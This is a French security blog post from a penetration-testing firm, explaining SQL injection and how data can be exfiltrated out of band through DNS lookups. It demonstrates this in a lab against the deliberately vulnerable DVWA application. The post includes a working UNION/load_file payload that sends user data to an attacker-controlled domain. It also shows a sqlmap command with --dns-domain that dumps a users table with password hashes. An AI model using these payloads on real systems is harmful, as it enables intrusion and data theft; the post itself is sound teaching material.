Les injections SQL ou SQLi occupent depuis plus de 10 ans la première place de l'OWASP qui recense les 10 risques de sécurité applicatifs web les plus critiques. Lorsque nous rencontrons cette vulnérabilité durant nos pentests web, nous tentons de l'exploiter au maximum pour inspecter les mots de passe stockés en base de données, lire des fichiers sensibles sur le serveur ou encore exécuter des commandes sur ce dernier.
Il existe plusieurs méthodes d'injection SQL dont l'une des caractéristiques notable est la rapidité d'exploitation.
SQL Injections - 0x101
Une injection SQL est l'exploitation d'une faille applicative qui permet, en manipulant un paramètre vulnérable, d'injecter une requête malicieuse dans la requête SQL intialement prévue par l'application.
Prenons par exemple une application web de type blog dont les URLs des articles sont de la forme suivante /article.php?id=42
. La requête SQL associée est logiquement :
SELECT title, content, author FROM articles WHERE id = 42;
En supposant que l'application ne filtre pas correctement le paramètre id
, il devient possible d'injecter du code SQL avec par exemple /article.php?id=42 AND 1=0
ce qui donne la requête :
SELECT title, content, author FROM articles WHERE id = 42 AND 1=0;
À partir de là, nous construisons progressivment les requêtes SQL qui nous permettront de récupérer les informations des autres tables, la version de la base de données, les privilèges de l'utilisateur courant, etc. Les quatre méthodes d'injections SQL suivantes sont classées par vitesse d'exploitation (du plus rapide au plus lent) :
- Union Query : le résultat de l’injection est directement affiché dans la page. Il est très facile d'extraire la totalité d'une table en une seule requête.
- Error-based : l'injection provoque une erreur SQL qui affiche le résultat sur la page.
- Boolean based (Blind) : le résultat est progressivement récupéré en fonction de la présence ou non d’un motif sur la page (possibilité de multi-threader pour aller plus vite).
- Time based (Blind) : les données sont contruites en analysant les temps de réponse de la page. Cette méthode est très lente et peut se montrer non fiable en cas de surcharge du serveur ou de problèmes réseau.
Ces méthodes utilisent un canal In-Band, c'est-à-dire que le résultat est disponible sur le même canal de communication, en l'occurrence les pages de l'application web exploitée. Dans les prochains paragraphes, nous allons présenter une technique d'injection différente afin d'exfiltrer les données via DNS.
Exfiltration DNS et injections SQL ?
Théorie : Out-Of-Band, SQLi et DNS
On parle d'exploitation Out-Of-Band lorsque le résulat nous parvient sur un canal différent de celui d'origine. L'exfiltration DNS est une technique Out-Of-Band que nous allons utiliser avec les injections SQL. Le principe est le suivant : faire exécuter des requêtes DNS au serveur ciblé vers un domaine sous notre contrôle. Nous nous servons du sous-domaine pour exfiltrer les données de notre choix et pour y stocker le résulat des injections.
Concrètement, pour récupérer la version de la base de données (mysql-5
), il faudrait que nous forcions le serveur cible à effectuer une requête DNS sur :
mysql-5.attacker.com
Nous récupèrerons les données en écoutant les résolutions DNS vers le domaine attacker.com, sous notre contrôle.
Combiner l'UNC et les fonctions SQL d'accès au fichier
Pour exfiltrer les données de nos injections, il est nécessaire de forcer la base de données à effectuer une résolution DNS vers un nom de domaine que nous contrôlons. Il faut pour cela combiner la syntaxe d'UNC et les fonctions SQL qui permettent d'accéder à des fichiers.
L'Universal Naming Convention (UNC) est une convention de nommage qui décrit l'adresse d'une ressource sur le réseau. Concrètement, si un fichier est stocké sur une machine du réseau, on peut utiliser le chemin UNC suivant pour y accéder : \\PC-DUPOND.local\document.txt
.
Chaque serveur de base de données met à disposition un certain nombre de fonctions pour accéder (en lecture ou en écriture) à des fichiers ou des ressources sur le réseau. Voici quelques exemples :
Serveur | Fonctions |
---|---|
MySQL / MariaDB | LOAD_FILE , OUTFILE , DUMPFILE |
Microsoft SQL Server | xp_dirtree , xp_fileexists , xp_subdirs |
PostgreSQL | pg_read_file , lo_import |
Oracle | UTL_INADDR.GET_HOST_ADDRESS , UTL_FILE.FOPEN |
La requête SQL suivante sous MYSQL permet d'effectuer une résolution DNS en combinant l'UNC avec une fonction de lecture de fichier :
SELECT LOAD_FILE('\\\\subdomain.mydomain.com\\dummy.txt');
La pratique
Notre laboratoire de tests
Nous avons mis en place une architecture avec les pré-requis nécessaires pour réaliser une démonstration réaliste d'une injection SQL et son exfiltration DNS.
-
Du côté de l'attaquant
- Un VPS avec le port 53 (DNS) ouvert sur internet
- Un nom de domaine dont on contrôle entièrement la configuration : nous indiquons à notre registrataire de nom de domaine que notre VPS sera le serveur DNS qui fournira les résolutions pour notre domaine
-
Du côté de la victime
- Une instance Azure Windows Serveur 2019 qui héberge le site
- Les droits d'accès aux fichiers depuis la base de données
- ... et évidemment une faille SQLi ! Thank you Captain Obvious!
Au lieu de développer un site faillible pour la démonstration, nous avons utilisé l'application web Damn Vulnerable Web App (DVWA). DVWA est un excellent outil pédagogique qui permet de tester et de sensibiliser sur différents types de vulnérbilités comme les failles d'upload, les XSS, ou encore les injections SQL.
Ça donne quoi, docteur ?
L'injection SQL sur l'application DVWA est triviale à exploiter et nous allons l'utiliser pour réaliser notre exfiltration.
GET /dvwa/vulenerabilites/sqli/?id='+UNION+SELECT+load_file(CONCAT('\\\\', (SELECT+user+FROM+users+LIMIT+1), '.algolab.tech\\dummy')),2+--+-&Submit=Submit
Décortiquons la requête ci-dessus:
- l'objectif de l'injection est d'obtenir le champ
login
du premier utilisateur grâce à la requête SQLSELECT+user+FROM+users+LIMIT+1
- comme vu précédemment, l'exfiltration doit se faire en utilisant le sous domaine et l'UNC de type
\\<login>.algolab.tech\dummy
- nous forçons la résolution DNS en utilisant la fonction
load_file
Depuis notre VPS, nous avions lancé une écoute sur le port 53 pour voir les requêtes DNS qui arrivent. Après l'injection réalisée plus haut, voici le paquet :
root@algolab:/home/algoloab $ tcpdump -l -i veneot0 -s 0 -A 'dst port 53' | grep 'A?'
10:13:57.342480 IP WW.XX.YY.ZZ.56049 > algolab.tech.domain: 14448 A? admin.algolab.tech (36)
We got a touchdown ! Nous avons reçu une demande de résolution pour le domaine admin.algolab.tech
, et donc notre donnée exfiltrée est admin
.
Sqlmap, exfiltration DNS en mode script kiddie
Sqlmap est un outil d'exploitation automatisée pour les injections SQL qui est souvent utilisé durant les pentests. Il intègre nativement la fonctionnalité d'exfiltration DNS avec l'option --dns-domain
:
Option: --dns-domain
If user is controlling a machine registered as a DNS domain server (e.g. domain attacker.com) he can turn on this attack by using this option (e.g. --dns-domain attacker.com).
Pour pouvoir utiliser cette option, sqlmap doit être lancé avec les droits root car il démarre son propre service DNS sur le port 53. Il prend en charge de nombreuses subtilités et notamment il :
- gère la limite de taille des sous-domaines à 63 octets en découpant les réponses plus longues (RFC 1035)
- encode en hexadécimal pour respecter les RFC DNS et les jeux de caractères des bases de données
- évite la mise en cache et la pollution des résolutions DNS avec l'utilisation de préfixe et suffixe aléatoires
root@algolab:/home/algoloab/ $ sqlmap --url 'http://WW.XX.YY.ZZ/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --technique=T -T users --dump --dns-domain algolab.tech
___
__H__
___ ___[(]_____ ___ ___ {1.4.2.4#dev}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[15:07:01] [INFO] setting up DNS server instance
[15:07:01] [INFO] testing connection to the target URL
Database: dvwa
Table: users
[5 entries]
+---------+---------------------------------------+---------+----------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar | user | password | last_name | first_name | last_login | failed_login |
+---------+---------------------------------------+---------+----------------------------------+-----------+------------+---------------------+--------------+
| 1 | /html/dvwa/hackable/users/admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | admin | admin | 2020-02-12 10:54:08 | 0 |
| 2 | /html/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 | Brown | Gordon | 2020-02-12 10:54:08 | 0 |
| 3 | /html/dvwa/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b | Me | Hack | 2020-02-12 10:54:08 | 0 |
| 4 | /html/dvwa/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 | Picasso | Pablo | 2020-02-12 10:54:08 | 0 |
| 5 | /html/dvwa/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 | Smith | Bob | 2020-02-12 10:54:08 | 0 |
+---------+---------------------------------------+---------+----------------------------------+-----------+------------+---------------------+--------------+
Dans les trames DNS qui circulent, nous observons des demandes de résolution telles que kgI.61646D696E.vQL.algotlab.tech
. Analysons cette résolution DNS construite par sqlmap :
kgI
etvQL
sont un préfixe et un suffixe générés aléatoirement par sqlmap dans le but d'associer une injection SQL au résultat reçu sur le port53
61646D696E
correspond à la donnée exfiltrée encodée en hexadécimal.61646D696E
est la version encodée du motadmin
C'est bien beau tout ça, mais pourquoi se compliquer la vie ?
Les injections SQL permettent d'accéder au contenu d'une base de données, mais à quelle vitesse ? En utilisant les techniques d'Union Query et d'Error Based, on extrait les données très rapidement. Mais dès qu'on se retrouve à utiliser des injections en aveugle (Boolean ou Time Based), l'extraction prend beaucoup plus de temps et peut retourner des données erronées. Il est alors intéressant d'essayer de comparer la vitesse d'exécution de l'exfiltration DNS aux autres techniques d'injection SQL.
Pour réaliser ce benchmark, nous avons exploité l'application DVWA via l'outil Sqlmap afin d'extraire les données de la table users
. Voici les temps réalisés avec chaque technique :
Technique SQLi | Temps |
---|---|
Union Query | 1.7 sec |
Error Based | 4.1 sec |
Boolean Based (Blind) | 1 min 13.8 sec |
Time Based (Blind) | 33 min 47.7 sec |
Exfiltration DNS | 5.9 sec |
Il est indéniable de dire à quel point l'exfiltration DNS est rapide ! S'il fallait trier les techniques d'exploitaiton par vitesse d'exploitation, cela donnerait le classement suivant :
- Union Query
- Error Based
- Exfiltration DNS
- Boolean Based
- Time Based
Exfiltrate me if you can
Si cette technique est si incroyable que ça, pourquoi n'est-elle pas systématiquement utilisée lorsqu'il n'y a que des injections en aveugle ? Deux obstacles empêchent une utilisation généralisée de cette méthode.
Tout d'abord, cela demande plusieurs pré-requis importants que l'on ne retrouve pas dans tous les cas. Voici un aperçu des conditions d'exfiltration DNS pour quelques bases de données :
Base de données | Fonctionne sans privilège sur les fichiers | BDD installée sur Windows | BDD installée sur Linux |
---|---|---|---|
MySQL / MariaDB | ✗ | ✓ | ✗ |
MSSQL | ✗ | ✓ | Non disponible |
PostgreSQL | ✗ | ✓ | ✗ |
Oracle | ✓ | ✓ | ✓ |
On remarque que seules les bases de données Oracle permettent l'exfiltration DNS sous Linux. En effet nous exfiltrons nos injections via l'UNC (qui est disponible sous Windows) et seules les bases de données Oracle l'ont implémenté indépendamment du sytème d'exploitation.
Un autre frein à l'exfiltration des données peut être l'utilisation d'un canal non sécurisé : les résolutions DNS transitent en clair sur le réseau ce qui peut être à la fois bruyant et faire fuiter des informations sensibles. Et si la base de données contient des mots de passe en clair ? ou des informations personnelles comme le numéro de sécurité sociale, numéros de carte bancaires ? Un tiers qui verrait ces requêtes transiter pourrait lui aussi avoir accès à ces informations.
Même si les requêtes DNS ne semblent pas être activement surveillées, dans le doute, Keep It Safe and Secure.
À propos : Le blog d'AlgoSecure est un espace sur lequel notre équipe toute entière peut s'exprimer. Notre personnel marketing et commercial vous donne des informations sur la vie et l'évolution de notre société spécialisée en sécurité sur Lyon. Nos consultants techniques, entre deux tests d'intrusion ou analyses de risque, vous donnent leur avis ainsi que des détails techniques sur l'exploitation d'une faille de sécurité informatique. Ils vous expliqueront également comment sécuriser votre système d'informations ou vos usages informatiques particuliers, avec autant de méthodologie et de pédagogie que possible. Vous souhaitez retrouver sur ce blog des informations spécifiques sur certains sujets techniques ? N'hésitez pas à nous en faire part via notre formulaire de contact, nous lirons vos idées avec attention. Laissez-vous guider par nos rédacteurs : Alexandre, Amine, Antonin, Arnaud, Benjamin, Enzo, Eugénie, Fabien, Françoise, Gilles, Jean-Charles, Jean-Philippe, Jonathan, Joël, Joëlie, Julien, Jéromine, Ludovic, Lyse, Nancy, Natacha, Nicolas, Pierre, PierreG, Sébastien, Tristan, Yann, et bonne visite !